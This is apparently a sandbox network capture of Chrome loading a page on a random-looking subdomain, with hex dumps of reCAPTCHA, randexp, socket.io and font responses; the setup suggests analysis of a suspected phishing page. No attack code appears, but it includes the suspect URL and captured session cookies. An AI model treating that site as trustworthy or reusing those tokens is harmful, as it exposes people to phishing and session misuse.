2024-08-23 14:21:54 UTC	447	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:55 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 23 Aug 2024 14:21:55 GMT Date: Fri, 23 Aug 2024 14:21:55 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-08-23 14:21:55 UTC	862	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-08-23 14:21:55 UTC	579	IN	Data Raw: 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e 67 65 74 56 61 6c 75 65 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 69 66 28 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 31 27 26 26 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 32 27 26 26 6c 21 3d 3d 27 63 6f 6e 74 72 6f 6c 5f 31 2e 31 27 29 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 7d 29 3b 7d 65 6c 73 65 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 69 37 58 30 4a 72 6e 59 57 79 39 59 5f 35 45 59 64 6f 46 4d 37 39 6b 56 2f 72 65 63 61 70 74 Data Ascii: onLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/i7X0JrnYWy9Y_5EYdoFM79kV/recapt
2024-08-23 14:21:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49790	185.199.109.133	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:54 UTC	1127	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240823%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240823T142154Z&X-Amz-Expires=300&X-Amz-Signature=addaa2fb7613bd2240d82063b941692dc1cffc01a094b5cf196222983477917b&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:55 UTC	848	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c04d24d1-701e-006d-40c9-dd551e000000 x-ms-version: 2020-10-02 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Age: 3702 Date: Fri, 23 Aug 2024 14:21:55 GMT X-Served-By: cache-iad-kiad7000071-IAD, cache-ewr-kewr1740040-EWR X-Cache: HIT, HIT X-Cache-Hits: 3138, 0 X-Timer: S1724422915.959094,VS0,VE1
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2024-08-23 14:21:55 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49791	18.245.31.78	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	359	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:55 UTC	703	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Fri, 05 Jan 2024 09:12:45 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::kcxpj-1704445965394-d209ffeb73cf X-Cache: Hit from cloudfront Via: 1.1 67cd7fbfa7b3b35b6217719b3f0167d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: S-L355K00CY9EQZvkXunrv7XMkyg3WgknIhFnybVP073Hhb3Pb3Rlw== Age: 20095015
2024-08-23 14:21:55 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-08-23 14:21:55 UTC	16384	IN	Data Raw: 6c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 2c 69 3d 6e 3d 3d 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 45 28 72 2c 65 2e 73 75 70 70 6f 72 74 73 42 69 6e 61 72 79 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 65 2e 77 73 2e 73 65 6e 64 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 26 26 69 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 77 72 69 74 61 62 6c 65 3d 21 30 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 64 72 61 69 6e 22 29 7d 29 2c 65 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 29 7d 29 29 7d 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 28 72 29 7d 7d 2c 7b 6b 65 79 3a 22 64 6f 43 6c 6f 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f Data Ascii: le=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;E(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&it((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r<t.length;r++)n(r)}},{key:"doClose",value:function(){vo
2024-08-23 14:21:55 UTC	13038	IN	Data Raw: 73 68 69 66 74 28 74 29 2c 74 68 69 73 2e 5f 6f 70 74 73 2e 72 65 74 72 69 65 73 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 66 72 6f 6d 51 75 65 75 65 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 76 6f 6c 61 74 69 6c 65 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 61 64 64 54 6f 51 75 65 75 65 28 6e 29 2c 74 68 69 73 3b 76 61 72 20 69 3d 7b 74 79 70 65 3a 45 74 2e 45 56 45 4e 54 2c 64 61 74 61 3a 6e 2c 6f 70 74 69 6f 6e 73 3a 7b 7d 7d 3b 69 66 28 69 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6d 70 72 65 73 73 3d 21 31 21 3d 3d 74 68 69 73 2e 66 6c 61 67 73 2e 63 6f 6d 70 72 65 73 73 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 69 64 73 2b 2b 2c 73 3d 6e 2e 70 6f 70 28 29 3b 74 68 Data Ascii: shift(t),this._opts.retries&&!this.flags.fromQueue&&!this.flags.volatile)return this._addToQueue(n),this;var i={type:Et.EVENT,data:n,options:{}};if(i.options.compress=!1!==this.flags.compress,"function"==typeof n[n.length-1]){var o=this.ids++,s=n.pop();th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49793	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1478	OUT	GET /90BwLzMpuCNIPc12Bxo7mGwVuU4yz71 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:55 UTC	634	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:55 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="90BwLzMpuCNIPc12Bxo7mGwVuU4yz71" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TKz%2BPq1iifWN8RU1bBnBINsjCjZDZtOG%2FwcVsB2Atwfkqhwb0BNOo4Tvg%2BXkOfBGIyiCDX2n7CVRysonbaGD%2FaQiMHMxy2YL%2BEnT24O8k6jrFDwP9sci4IJ9zZY%2F%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0735c514294-EWR
2024-08-23 14:21:55 UTC	735	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 